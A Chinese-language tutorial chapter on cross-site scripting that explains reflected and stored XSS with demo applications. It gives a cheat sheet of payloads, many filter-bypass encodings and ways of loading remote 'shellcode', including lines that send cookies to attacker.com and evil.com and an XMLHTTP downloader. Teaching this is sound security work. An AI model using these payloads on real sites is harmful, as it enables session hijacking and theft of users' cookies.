XSS 跨站脚本攻击剖析与防御 - 第一章:XSS 初探
一、跨站脚本介绍
(一)XSS 的定义与危害
跨站脚本(Cross - Site Scripting,XSS)是 Web 应用程序中常见的安全漏洞。攻击者利用 Web 应用程序对用户输入过滤不足的漏洞,将恶意的脚本代码(包含 HTML 代码和 JavaScript 脚本等)注入到用户浏览的网页中。当其他用户浏览这些网页时,恶意代码会在受害者主机的浏览器中执行,从而达到劫持用户会话、窃取 Cookie 资料、钓鱼欺骗等目的。例如,2011 年 6 月新浪微博爆发的 XSS 蠕虫攻击,仅 16 分钟就感染近 33000 个用户,危害十分严重。
(二)XSS 流行的原因
- 浏览器设计特性:Web 浏览器本身具备解析和执行 JavaScript 等脚本语言的能力,且不会判断脚本代码本身是否恶意,这为 XSS 攻击提供了基础。
- Web 应用安全防护不足:输入与输出是 Web 应用程序最基本的交互,若在此过程中没做好安全防护,Web 程序很容易出现 XSS 漏洞。
- 开发人员安全意识与能力问题:现在的应用程序大部分通过团队合作完成,程序员之间水平参差不齐,很少有人受过正规的安全培训,开发出的产品难免存在 XSS 漏洞相关问题。
- 对 XSS 漏洞重视不足:不管是开发人员还是安全工程师,很多都没有真正意识到 XSS 漏洞的危害,导致这类漏洞普遍受到忽视,很多企业甚至缺乏专门的安全工程师,或者不愿意在安全问题上花费更多的时间和成本。
- 攻击手段灵活多样:触发跨站脚本的方式非常简单,只要向 HTML 代码中注入脚本即可,而且执行此类攻击的手段众多,比如利用 CSS、Flash 等,XSS 技术运用灵活多变,要做到完全防御十分困难。
- Web 2.0 的发展:随着 Web 2.0 的流行,网站上交互功能越来越丰富,鼓励信息分享与交互,用户有了更多的机会去查看和修改他人的信息,比如通过论坛、Blog 或社交网络,这也给黑客提供了更广阔的空间发动 XSS 攻击。
二、XSS 的分类
(一)反射型 XSS
- 定义:反射型跨站脚本(Reflected Cross - site Scripting)也称作非持久型、参数型跨站脚本。主要用于将恶意脚本附加到 URL 地址的参数中。
- 攻击流程:攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的 URL。当受害者单击这些专门设计的链接时,恶意 JavaScript 代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化。
- 示例:
- 构造恶意 URL,如
http://www.test.com/search.php?key="><script>alert("XSS")</script>
。当用户点击该 URL 时,服务器会将key
参数的值反射到页面中,从而执行alert("XSS")
脚本,弹出提示框。 - 还可以对恶意代码进行编码转换来增强迷惑性,例如使用各种编码形式(十进制、十六进制、ESCAPE 等)隐藏恶意代码,像
%3c%3c%2fscript%3e%3cscript%3ealert(%27XSS%27)%3c%2fscript%3e
这样的编码后的 URL,缺乏安全意识的用户很容易点击。
- 构造恶意 URL,如
- 常见出现位置:此类 XSS 通常出现在网站的搜索栏、用户登入入口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
(二)持久型 XSS
- 定义:持久型跨站脚本(Persistent Cross - site Scripting)也等于存储型跨站脚本(Stored Cross - site Scripting),比反射型跨站脚本更具威胁性,并且可能影响到 Web 服务器自身的安全。
- 攻击流程:攻击者事先将恶意 JavaScript 代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意 JavaScript 代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站的留言、评论、博客日志等交互处,恶意脚本被存储到客户端或者服务器的数据库中,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码。
- 示例:
- 在网站的留言板功能中,攻击者输入
<script>alert("XSS")</script>
作为留言内容。由于网站程序没有对输入的内容进行有效的过滤,就将该恶意脚本存储到数据库中。当管理员或其他用户查看留言时,该恶意脚本就会在他们的浏览器中执行,弹出提示框。如果进一步构造恶意脚本,还可能劫持管理员会话,执行修改密码、添加新管理员等恶意操作。 - 以一个 “新闻发布系统” 的留言模块为例,该系统有 “留言交流” 板块,页面地址为
http://127.0.0.1/guest.asp
,用户可在此输入留言内容并提交,后台会将留言存储到数据库。在留言输入框中直接输入<script>alert("XSS测试")</script>
并提交,管理员登录后台(登录地址:http://127.0.0.1/admin/ad_login.asp
,默认账号密码admin
)查看留言时,发现输入的 XSS 语句未执行,而是被浏览器直接显示。查看页面源文件,发现 XSS 代码被嵌入到<textarea>
标签中,于是构造符合标签嵌套的代码</textarea><script>alert("持久型XSS触发")</script><textarea>
再次提交,管理员查看留言时成功触发 XSS,弹出提示框。 - 某论坛允许用户发布帖子,攻击者在帖子内容中插入
<script>document.location.href='http://attacker.com/steal_cookie.php?cookie='+document.cookie;</script>
,由于论坛程序未过滤有害字符,该恶意脚本被存储到数据库。其他用户浏览帖子时,恶意脚本执行,将用户 Cookie 信息发送到攻击者服务器。
- 在网站的留言板功能中,攻击者输入
- 危害:这种 XSS 场景可以发挥的空间很大,因为它攻击的对象是后台管理员,攻击者能利用此种 XSS 劫持管理员会话而执行任意操作,比如修改密码、备份数据库等。
三、XSS 的简单发掘
(一)发掘反射型 XSS
通过分析 Web 应用程序代码,寻找对用户输入没有进行充分过滤就直接输出到页面的情况。例如,一个 PHP 网页提供用户输入信息的功能,前端 HTML 代码如下:
<html><head><title>XSS 测试</title></head><body><form action="XSS.php" method="POST">请输入名字:<br><input type="text" name="name" value=""><br><input type="submit" value="提交"></form></body></html>
后台 PHP 处理代码为:
<html>
<head><title>测试结果</title></head>
<body><?phpecho $_REQUEST['name'];?>
</body>
</html>
当在输入框中输入<script>alert("XSS")</script>
并提交后,由于后台代码直接将用户输入的name
变量echo
输出,没有任何过滤,就会触发 XSS,弹出提示框。还可以通过构造 GET 请求的 URL,如http://127.0.0.1/XSS.php?name=<script>alert(/XSS/)</script>
,直接触发反射型 XSS。
(二)发掘持久型 XSS
以一个 “新闻发布系统” 的留言模块为例,该系统有 “留言交流” 板块,页面地址为http://127.0.0.1/guest.asp
,用户可在此输入留言内容并提交,后台会将留言存储到数据库,供管理员和其他用户查看。
- 初步测试输入:在留言输入框中直接输入
<script>alert("XSS测试")</script>
,然后点击 “提交” 按钮。 - 后台查看与分析:以管理员身份登录后台(登录地址:
http://127.0.0.1/admin/ad_login.asp
,默认管理员账号和密码为admin
),进入 “留言 / 评论管理” 栏的 “等审留言” 链接查看留言,发现输入的 XSS 语句没有顺利执行,反而被浏览器直接显示出来。查看当前页面的源文件,发现输入的 XSS 代码不仅没有被过滤,而且已经成功插入到网页内容中,但由于被嵌入到<textarea>
标签之中,所以浏览器直接显示而没有执行。 - 构造可执行的 XSS 代码:为了让 XSS 代码能够执行,构造符合
<textarea>
标签嵌套的 XSS 代码,例如</textarea><script>alert("持久型XSS触发")</script><textarea>
,再次在留言输入框中输入该代码并提交。 - 验证漏洞:管理员在后台查看留言时,成功触发 XSS,弹出 “持久型 XSS 触发” 的提示框,证明存在持久型 XSS 漏洞。
四、XSS 构造剖析
(一)XSS Cheat Sheet
XSS Cheat Sheet 几乎涵盖了目前所有可能触发 XSS 的测试用例,在 Web 应用程序 XSS 测试中十分便利,能达到事半功倍的效果。以下是部分典型测试用例及说明:
- 基础脚本注入类
- 测试用例:
<script>alert(1);</script>
- 说明:最基础的 XSS 测试用例,尝试在页面中注入 JavaScript 脚本,弹出提示框,检测页面是否对
<script>
标签没有过滤。 - 测试用例:
<script>alert("XSS");</script>
- 说明:与上例类似,只是提示内容为 “XSS”,用于明确测试 XSS 漏洞是否存在。
- 测试用例:
- 利用外部资源类
- 测试用例:
<script src="http://www.evil.com/cookie.php"></script>
- 说明:尝试从外部恶意网站加载脚本,若成功加载,可用于窃取用户 Cookie 等信息,检测页面是否对外部脚本引入没有限制。
- 测试用例:
<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>
- 说明:通过 JavaScript 的
location.href
方法,将包含用户 Cookie 的请求发送到恶意网站,直接窃取 Cookie,检测页面是否允许此类重定向和 Cookie 获取操作。
- 测试用例:
- 特殊标签与事件类
- 测试用例:
<img src=foo.png onerror=alert(/xss/) />
- 说明:利用
img
标签的onerror
事件,当图片foo.png
加载失败时,触发alert
函数,检测页面是否对img
标签的事件属性没有过滤。 - 测试用例:
<style>@import'javascript:alert("XSS")';</style>
- 说明:在 CSS 的
@import
规则中注入 JavaScript 脚本,检测页面是否对 CSS 中的特殊语法没有防范。 - 测试用例:
<marquee><script>alert("XSS")</script></marquee>
- 说明:利用
marquee
滚动标签,在其中注入脚本,检测页面是否对这类特殊标签内的脚本注入没有过滤。
- 测试用例:
- 编码与特殊字符类
- 测试用例:
<IMG SRC="javascript:alert('XSS'); ">
(包含各种编码形式,如javascript:alert('XSS')
等) - 说明:通过对 JavaScript 代码进行各种编码(如十六进制编码),绕过可能的过滤规则,检测页面是否能正确识别和处理编码后的恶意内容。
- 测试用例:
(二)绕过 XSS - Filter
现实中多数 Web 应用程序会设计 XSS Filter(跨站脚本过滤器)来防御 XSS 攻击,XSS Filter 一般基于黑白名单的安全过滤策略。但即便如此,仍存在被绕过的可能性,以下是常见的绕过方式:
- 利用标签注入如果用户可以随意引入
<
等标记,就能操作 HTML 标签,进而通过<script>
标签插入由 JavaScript 或 Vbscript 编写的恶意脚本代码,如<script>alert('XSS');</script>
。因此,XSS Filter 通常会对<
、>
、<script>
等字符进行过滤和转义。但可以通过一些特殊方式绕过,例如:
<scr<script>ipt>alert('XSS');</script>
当过滤器只过滤一次<script>
时,可能会留下<script>alert('XSS');</script>
从而触发 XSS。2. 利用 HTML 标签属性值很多 HTML 标记中的属性都支持javascript:[code]
伪协议的形式,声明 URL 的主体是任意的 JavaScript 代码,由 JavaScript 解释器运行。
- 示例:
<table background="javascript:alert(/xss/)"></table><img src="javascript:alert('XSS');">
这些代码利用table
的background
属性和img
的src
属性,注入 JavaScript 脚本。不过,不是所有标记的属性值都能产生 XSS,通常只有引用文件的属性才能触发跨站脚本,可用于测试的属性有href
、src
、background
、value
、action
、dynsrc
等。要防御基于属性值的 XSS,就要过滤 JavaScript 等关键字。3. 空格、回车、Tab 键技巧如果 XSS Filter 仅把敏感的输入(如关键字javascript
)列入黑名单处理,用户可以利用空格、回车和 Tab 键绕过过滤器的限制。
- 示例:
<img src="java script:alert(/xss/)" width=100>
其中java
和script
之间的间隔可以用 Tab 键添加,当浏览器解析时,可能会忽略这些特殊字符的间隔,从而执行恶意脚本。这种技巧还可使用回车、空格之类的其他键位。4. 对标签属性值转码HTML 中属性值本身支持 ASCII 码形式,用户可以通过编码处理来绕过过滤。
- 示例:把
javascript:alert('XSS');
进行 ASCII 码转码,转换为javascripttalert('XSS')
,然后构造:
<img src="javascripttalert('XSS')">
利用 HTML 属性值支持 ASCII 码的特性,绕过对javascript
等关键字的过滤。5. 利用事件JavaScript 与 HTML 之间的交互是通过事件来实现的,事件是用户或浏览器自身执行的某种动作,如click
、mouseover
、load
等。攻击者可以利用事件来执行跨站脚本。
- 示例:
<input type="button" value="click me" onclick="alert('click me')" /><img src="#" onerror=alert(/xss/) />
第一个例子中,当点击按钮时,触发onclick
事件执行alert
脚本;第二个例子中,当img
标签的src
属性引用的图片不存在时,触发onerror
事件执行alert
脚本。还有大量的事件可以运用,如onResume
、onReverse
、onRowDelete
等。6. 利用 CSS 跨站剖析XSS 跨站脚本的另一个载体是 CSS 样式表,使用 CSS 样式表执行 JavaScript 具有隐蔽、灵活多变等特点,但 CSS 样式表有各浏览器之间不能通用,甚至同一浏览器不同版本之间都不能通用的缺点。
- 示例:
<div style="background-image:url(javascript:alert('XSS'))"><style> body { background-image: url("javascript:alert('XSS')"); } </style>
利用 CSS 的background-image
属性,注入javascript
伪协议的脚本,触发 XSS。7. 利用字符编码字符编码在跨站脚本中经常运用,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode。HTML 标签中的某些属性值可以使用&#ASCII
方式进行编码改写,这种 XSS 转码支持十进制和十六进制形式。
- 示例:以
<img src="javascript:alert('XSS');">
为例,对其进行十进制转码(&#
)后得到很长的编码字符串,如<img src="javascript:alert('XSS')">
。将这些编码后的代码保存在 HTML 文档中,使用浏览器打开,脚本会执行,弹出 XSS 提示框。
另外,在 JavaScript 中有一个eval()
函数,可计算字符串,并执行其中的 JavaScript 代码。可以使用连接十六进制字符串,然后使用eval()
函数执行十六进制字符串形式的脚本。
- 示例:对
alert('XSS')
进行十六进制转码后得到\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29
,然后构造:
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>
这段代码能让浏览器弹出一个 XSS 对话框。eval()
也可以执行 10 进制形式的脚本,但需要配合String.fromCharCode()
函数使用,例如:
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
结合使用eval()
和String.fromCharCode()
函数,绕过过滤执行恶意脚本。8. 编码与加密技术在 XSS 中的应用
- 样式表的十六进制字符串形式:样式表支持分析和解释连接的十六进制字符串形式,浏览器能正常解释。例如可以对
background
的属性值进行十六进制字符串形式转换,像BODY { background: \x75\x72\x6c(...) }
。style
属性中的javascript
、expression
等字符一般会被程序过滤,但经过十六进制编码后则可以逃避过滤。 - 其他字符编码绕过过滤规则示例:利用字符编码绕过过滤规则的示例众多,比如:
<div style="xss:#410;#4120;#4114;#4101;#4115;#4115;#4105;#4111;#4110;(alert(1));"></div><img STYLE="background-image:\x75\x72\x6c(...)">
通过将关键字符进行十六进制编码,绕过对敏感字符的检测。
- JavaScript 的多种编码形式:JavaScript 支持
unicode
、escapes
、十六进制、八进制等编码形式,这种编码技术如果运用于跨站攻击,能大大加强 XSS 的威力。 - 脚本加密技术:Microsoft 提供了脚本加密(Script Encoder)机制,可以对脚本进行加密,包括 JScript 和 VBScript,经过加密的脚本,能在 IE 下正常运行,在其他浏览器下则不识别。
- JScript Encode:例如
alert(1)
使用 JScript Encode 加密的结果为&#@~CAAAA=^C+*D 8#mfAAAA==^#@
。经 XSS Exploit 后变为:
- JScript Encode:例如
<script language="JScript.Encode">
&#@~CAAAA=^C+*D 8#mfAAAA==^#@
</script>
此段代码在 IE 中执行可触发 XSS。
- VBScript Encode:也可用来执行类似任务,例如:
<a href="test/a/" language="VBScript.Encode">#@~^CAAAA=^C+*D 8#mfJAAA==^#@</a>
<iframe onload=VBScript.Encode:#@~^CAAAA=^C+*D 8#mfJAAA==^#@></iframe>
- 拆分跨站法
- 核心思想:当应用程序没有过滤 XSS 关键字(如
<
、>
)却对输入字符长度有限制时,可使用 “拆分法” 执行跨站脚本代码。其核心是把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑在一起执行。 - 示例:著名安全研究员剑心曾利用某网站评论联系方式处的 XSS 漏洞(只能写入 30 个字符长度,
<script></script>
就占用了 17 个字符,剩下只有 13 个字符可支配),巧妙构造多个脚本标记,引入一个字符串变量z
,并将代码拆分:
- 核心思想:当应用程序没有过滤 XSS 关键字(如
<script>z="document."</script><script>z+="write("</script><script>z+="'<script src=/"</script><script>z+="//www.shell.net/1.js></script>'"</script><script>z+=")"</script><script>eval(z)</script>
上述代码的作用是引入字符串变量z
,并将代码拆分,然后分几次将其嵌入到变量z
中,最后通过eval(z)
巧妙地执行代码,使得<script></script>
内的脚本代码得以顺利执行。
再比如某个著名邮箱系统曾出现的 XSS 漏洞,该系统过滤了许多触发 XSS 的敏感字符,但允许使用样式表的div{background-image:expression()}
,最终导致产生 XSS 漏洞。其 XSS Exploit 通过拆分 XSS Shellcode 的方法,把跨站用到的关键字,例如<
、>
等写到 DIV 标签中,然后再把 DIV 中存储的内容取出并组合到一起,形成最终的 Shellcode。
五、Shellcode 的调用
(一)相关概念
- Shellcode:最初是溢出程序和蠕虫病毒的核心,在 XSS 跨站脚本中,是指由 JavaScript 等脚本编写的 XSS 利用代码。
- Exploit:具有一定的攻击性,通常表示完整编写好的漏洞利用工具(或程序),在黑客眼里就是漏洞利用,往往包含了 Shellcode。
- POC(Proof of Concept):是一段证明漏洞存在的程序代码片段。
(二)调用方式
在传统 XSS 的运用中,Shellcode 一般是直接写进页面中执行,但实际环境中可能会遇到重重阻挠,比如服务器端程序的过滤、输入字符有长度限制等,所以,攻击者往往会把 Shellcode 写到远程服务器上,然后使用<script>
等标签对其进行调用,或者使用一些本地存储对象对其进行存储和调用。
1. 动态调用远程 JavaScript
假设www.bug.com
的某个页面含有一个 XSS 漏洞,可通过以下方式动态调用远程 JavaScript:
- 直接把 Shellcode 写到 URL 参数中,如
http://www.bug.com/view.php?sort="><script>alert(/xss/)</script>
,但这种方式恶意代码暴露在 URL 链接中,容易引起网站用户怀疑,且 Web 应用程序可能会限制 URL 的字符长度。 - 更方便的是把 Shellcode 写到其他服务器的文件里,然后再用
<script>
标签进行动态加载,例如:
"><script src=http://www.evil.com/xss.js></script>
除了使用<script>
标签动态调用远程 JavaScript,还可以运用基于 DOM 的方法创建和插入节点,把脚本或 HTML 注入到网页,实现过程如下:
var s=document.createElement("script");
s.src="http://www.evil.com/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);
第一行代码使用createElement()
函数创建一个新元素 ——script
;第二行代码把script
的src
属性设置成 “http://www.evil.com/xss.js
”,xss.js
里面写有 Shellcode 代码;第三行代码使用getElementsByTagName()
函数查找并返回文档中第一个head
元素(因为索引为 0),然后利用appendChild()
函数调用元素参数s
,追加指定的节点到子节点列表的最后一个。简单来说,这段脚本的作用就是动态创建了一个<script>
标签,其src
属性指向http://www.evil.com/xss.js
,然后把引用 JavaScript 的代码插入到网页的<head>
标签后。
2. 使用window.location.hash
加载远程域的 JavaScript 文件是调用 XSS Shellcode 的常见方式之一,不过需要有远程服务器的权限。如果仅仅是为了解决 URL 字符长度问题,还可以使用window.location.hash
属性实现 Shellcode 的存储和调用。location.href
是 JavaScript 管理地址栏的内置对象,location.hash
可以用来管理或设置 URL 的标签值。比如http://domain/admin
的location.hash="#admin"
,利用这个属性值可以做一些有意义的事情。例如:
http://www.bug.com/view.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
substr()
可在字符串中抽取从start
下标(这里是 1)开始的指定数目的字符,所以location.hash.substr(1)
的作用是抽取 “#” 符号后面的字符(即alert('xss')
),而eval()
函数用来计算某个字符串,并执行其中的 JavaScript 代码,这样就能先把 Shellcode 写到地址参数中再执行。
3. XSS Downloader
将 Shellcode 存储到网站的数据库中,包括网页信息、文章内容、个人资料等地方,然后再把它们下载下来执行。简单地说,就是打造一个 XSS downloader(XSS 下载器),事先把 Shellcode 写到网站的某个页面,再利用 XMLHTTP 控件向网站发送 HTTP 请求(POST 或 GET),然后执行返回的数据。下面是一个简单的 POC:
function XSS(){
var a=new ActiveXObject("Microsoft.XMLHTTP");
a.Open("get","http://www.bug.com/11221.html",false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF')+4,b.indexOf('EOF'))));
}
XSS();
第一行:定义一个 XSS () 函数,该函数也是调用 Shellcode 的主函数。第二行:创建一个 XMLHTTP 对象。第三、四行:向http://www.bug.com/11221.html
发送一个 HTTP 请求并获取 HTTP 响应。第五行:获取responseText
,结果返回为字符串,把该变量赋值给b
变量。第六行:用indexOf()
函数计算BOF
和EOF
的位置,再用substring()
函数方法取出字符串,最后用unescape()
函数方法解码执行。
4. 备选存储技术
随着 XSS 技术的不断发展,攻击者想出了越来越多巧妙的方法去存储和调用 XSS Shellcode,较为新颖的方式是把 XSS Shellcode 存储在客户端本地域中,譬如 HTTP cookie、Flash 共享对象、UserData、localStorage、sessionStorage 等。
- Cookie 存储:Cookie 是客户端存储技术中的传统解决方法,但有存储容量有限(被限制在 4KB 内)的缺点。在 Cookie 中存储 Shellcode 的 POC 如下:
function setShellCdz(codz){
var exp=new Date();
exp.setTime(exp.getTime()+365*24*60*1000);
document.cookie="shellcode="+escape(codz)+";"+"expires="+exp.toGMTString();
}
- Flash 共享对象(Shared Object,SO):类似于 HTTP Cookie 的运用方式,所以也被称作 Flash Cookie。与普通 Cookie 的 4KB 限制不同,SO 存储最大可达 100KB,并且可以使用任何形式的 JS 对象,缺点是必须要使用 Flash 软件。
- IE 的 UserData:是微软专门为 IE 在系统中开辟的一块存储空间,最少能支持 640KB,不足之处是只能在 IE 浏览器上使用。
- localStorage 和 sessionStorage:在 HTML5 也提供了两种在客户端存储数据的新方法,包括
localStorage
和sessionStorage
,其用法基本相同。以localStorage
为例,存储数据的方法是直接给window.localStorage
添加一个属性,如:
window.localStorage.a
或者:
window.localStorage["a"]
它的读取、写入、删除操作方法很简单,是以键值对的方式存在的。例如:
<script>
localStorage.a="xss";
document.write(localStorage.a);
if (!localStorage.count)
localStorage.count=1;
else
localStorage.count=Number(localStorage.count) + 1;
document.write("访问次数" + localStorage.count + " time(s).");
</script>
这段代码会创建一个变量a
,并把 XSS 存储进去,然后把相关信息打印出来。若要把 XSS Shellcode 存储在localStorage
中,操作如下:
- 保存 Shellcode:
function setShellCdz(codz){
window.localStorage.setItem("shellcodz", codz);
}
- 执行 Shellcode:
function getShellCdz(){
eval(window.localStorage.getItem("shellcodz"));
}
以上示例需要使用支持 HTML5 的浏览器才能看到运行效果,例如用 Google 的 Chrome 浏览器启动包含上述代码的 HTML 文档,第一次页面会显示 “xss 访问次数 1 time (s)”,不断刷新就能看到数字在一点点上涨。